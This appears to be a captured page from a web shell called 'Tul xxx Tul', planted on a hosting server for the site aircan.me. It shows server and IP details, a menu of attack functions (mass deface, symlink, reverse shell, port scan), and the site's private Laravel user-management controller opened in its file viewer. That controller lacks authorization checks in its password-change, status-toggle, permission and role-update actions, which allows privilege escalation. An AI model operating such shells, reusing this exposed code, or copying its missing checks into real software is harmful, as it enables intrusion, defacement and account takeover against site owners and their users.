Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
ventas
/
app
/
Http
/
Controllers
/
Viewing: UserController.php
<?php namespace App\Http\Controllers; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Hash; use Illuminate\Validation\Rules\Password; use Illuminate\Support\Facades\DB; class UserController extends Controller { public function __construct() { $this->middleware('auth'); } public function index(Request $request) { $nivelUsuario = auth()->user()->role ? auth()->user()->role->nivel : 0; // Solo nivel 2+ puede ver lista de usuarios if ($nivelUsuario < 2) { return redirect()->route('home') ->with('error', 'No tiene permisos para ver usuarios.'); } $query = User::query() ->with('role') ->whereHas('role', function($q) use ($nivelUsuario) { // Solo ver usuarios de su nivel o inferior $q->where('nivel', '<=', $nivelUsuario); }); if($request->filled('search')) { $search = $request->search; $query->where(function($q) use ($search) { $q->where('name', 'LIKE', "%{$search}%") ->orWhere('email', 'LIKE', "%{$search}%"); }); } if($request->filled('estado')) { $query->where('estado', $request->estado); } $users = $query->latest()->paginate(10); return view('configuracion.users.index', compact('users')); } public function create() { $nivelUsuario = auth()->user()->role ? auth()->user()->role->nivel : 0; // Solo nivel 3+ puede crear usuarios if ($nivelUsuario < 3) { return redirect()->route('users.index') ->with('error', 'No tiene permisos para crear usuarios.'); } // Solo mostrar roles de su nivel o inferior $roles = \App\Models\Role::where('activo', true) ->where('nivel', '<=', $nivelUsuario) ->orderBy('nivel', 'desc') ->get(); $actividades = \App\Models\Actividad::where('activo', true)->get(); return view('configuracion.users.create', compact('roles', 'actividades')); } public function store(Request $request) { $nivelUsuario = auth()->user()->role ? auth()->user()->role->nivel : 0; // Solo nivel 3+ puede crear usuarios if ($nivelUsuario < 3) { return redirect()->route('users.index') ->with('error', 'No tiene permisos para crear usuarios.'); } $request->validate([ 'name' => 'required|string|max:255', 'email' => 'required|string|email|max:255|unique:users', 'password' => ['required', 'confirmed', Password::defaults()], 'role_id' => 'required|exists:roles,id', 'actividad_id' => 'nullable|exists:actividades,id', 'estado' => 'required|boolean' ]); // Verificar que el rol asignado no sea superior al nivel del usuario $rolAsignado = \App\Models\Role::find($request->role_id); if ($rolAsignado && $rolAsignado->nivel > $nivelUsuario) { return back()->with('error', 'No puede asignar un rol superior a su nivel.') ->withInput(); } try { DB::beginTransaction(); $user = User::create([ 'name' => $request->name, 'email' => $request->email, 'password' => Hash::make($request->password), 'estado' => $request->estado, 'role_id' => $request->role_id, 'actividad_id' => $request->actividad_id, 'empresa_id' => auth()->user()->empresa_id ]); DB::commit(); return redirect()->route('users.index') ->with('success', 'Usuario creado exitosamente'); } catch (\Exception $e) { DB::rollBack(); return back()->with('error', 'Error al crear el usuario') ->withInput(); } } public function show(User $usuario) { $nivelUsuario = auth()->user()->role ? auth()->user()->role->nivel : 0; $nivelObjetivo = $usuario->role ? $usuario->role->nivel : 0; // Solo puede ver usuarios de su nivel o inferior (o a sí mismo) if ($nivelObjetivo > $nivelUsuario && $usuario->id !== auth()->id()) { return redirect()->route('users.index') ->with('error', 'No tiene permisos para ver este usuario.'); } $usuario->load('role.permisos'); return view('configuracion.users.show', compact('usuario')); } public function edit(User $usuario) { $nivelUsuario = auth()->user()->role ? auth()->user()->role->nivel : 0; $nivelObjetivo = $usuario->role ? $usuario->role->nivel : 0; // Puede editar su propio perfil o usuarios de nivel inferior (nivel 3+ para otros) $esSuPerfil = $usuario->id === auth()->id(); if (!$esSuPerfil) { // Para editar otros, necesita nivel 3+ y el usuario debe ser de nivel inferior if ($nivelUsuario < 3 || $nivelObjetivo >= $nivelUsuario) { return redirect()->route('users.index') ->with('error', 'No tiene permisos para editar este usuario.'); } } // Solo mostrar roles de su nivel o inferior $roles = \App\Models\Role::where('activo', true) ->where('nivel', '<=', $nivelUsuario) ->orderBy('nivel', 'desc') ->get(); $actividades = \App\Models\Actividad::where('activo', true)->get(); return view('configuracion.users.edit', compact('usuario', 'roles', 'actividades', 'esSuPerfil')); } public function update(Request $request, User $usuario) { $nivelUsuario = auth()->user()->role ? auth()->user()->role->nivel : 0; $nivelObjetivo = $usuario->role ? $usuario->role->nivel : 0; $esSuPerfil = $usuario->id === auth()->id(); // Verificar permisos if (!$esSuPerfil) { if ($nivelUsuario < 3 || $nivelObjetivo >= $nivelUsuario) { return redirect()->route('users.index') ->with('error', 'No tiene permisos para editar este usuario.'); } } $request->validate([ 'name' => 'required|string|max:255', 'email' => 'required|string|email|max:255|unique:users,email,' . $usuario->id, 'password' => ['nullable', 'confirmed', Password::defaults()], 'role_id' => 'required|exists:roles,id', 'actividad_id' => 'nullable|exists:actividades,id', 'estado' => 'required|boolean' ]); try { DB::beginTransaction(); $data = $request->except(['password', 'role_id', 'actividad_id']); if ($request->filled('password')) { $data['password'] = Hash::make($request->password); } // Agregar role_id y actividad_id a los datos $data['role_id'] = $request->role_id; $data['actividad_id'] = $request->actividad_id; $usuario->update($data); DB::commit(); return redirect()->route('users.index') ->with('success', 'Usuario actualizado exitosamente'); } catch (\Exception $e) { DB::rollBack(); return back()->with('error', 'Error al actualizar el usuario: ' . $e->getMessage()) ->withInput(); } } public function destroy(User $usuario) { $nivelUsuario = auth()->user()->role ? auth()->user()->role->nivel : 0; $nivelObjetivo = $usuario->role ? $usuario->role->nivel : 0; // Solo nivel 3+ puede eliminar usuarios, y solo de nivel inferior if ($nivelUsuario < 3 || $nivelObjetivo >= $nivelUsuario) { return redirect()->route('users.index') ->with('error', 'No tiene permisos para eliminar este usuario.'); } // No puede eliminarse a sí mismo if ($usuario->id === auth()->id()) { return redirect()->route('users.index') ->with('error', 'No puede eliminar su propio usuario.'); } try { $usuario->delete(); return redirect()->route('users.index') ->with('success', 'Usuario eliminado exitosamente'); } catch (\Exception $e) { return back()->with('error', 'Error al eliminar el usuario'); } } public function changePassword(Request $request, User $usuario) { $request->validate([ 'current_password' => ['required', 'current_password'], 'password' => ['required', 'confirmed', Password::defaults()] ]); try { $usuario->update([ 'password' => Hash::make($request->password) ]); return back()->with('success', 'Contraseña actualizada exitosamente'); } catch (\Exception $e) { return back()->with('error', 'Error al actualizar la contraseña'); } } public function toggleStatus(User $usuario) { try { $usuario->update([ 'estado' => !$usuario->estado ]); return back()->with('success', 'Estado del usuario actualizado exitosamente'); } catch (\Exception $e) { return back()->with('error', 'Error al actualizar el estado del usuario'); } } /** * Mostrar formulario para gestionar permisos del usuario */ public function permisos(User $usuario) { $permisos = \App\Models\Permiso::orderBy('modulo')->orderBy('nombre')->get(); $permisosPorModulo = $permisos->groupBy('modulo'); $permisosAsignados = $usuario->permisosDirectos->pluck('id')->toArray(); $permisosDelRol = $usuario->role ? $usuario->role->permisos->pluck('id')->toArray() : []; return view('configuracion.users.permisos', compact('usuario', 'permisosPorModulo', 'permisosAsignados', 'permisosDelRol')); } /** * Actualizar permisos del usuario */ public function actualizarPermisos(Request $request, User $usuario) { $request->validate([ 'permisos' => 'array' ]); try { DB::beginTransaction(); $usuario->sincronizarPermisos($request->permisos ?? []); DB::commit(); return redirect()->route('users.show', $usuario) ->with('success', 'Permisos actualizados exitosamente'); } catch (\Exception $e) { DB::rollBack(); return back()->with('error', 'Error al actualizar permisos: ' . $e->getMessage()) ->withInput(); } } }
Coded With 💗 by
0x6ick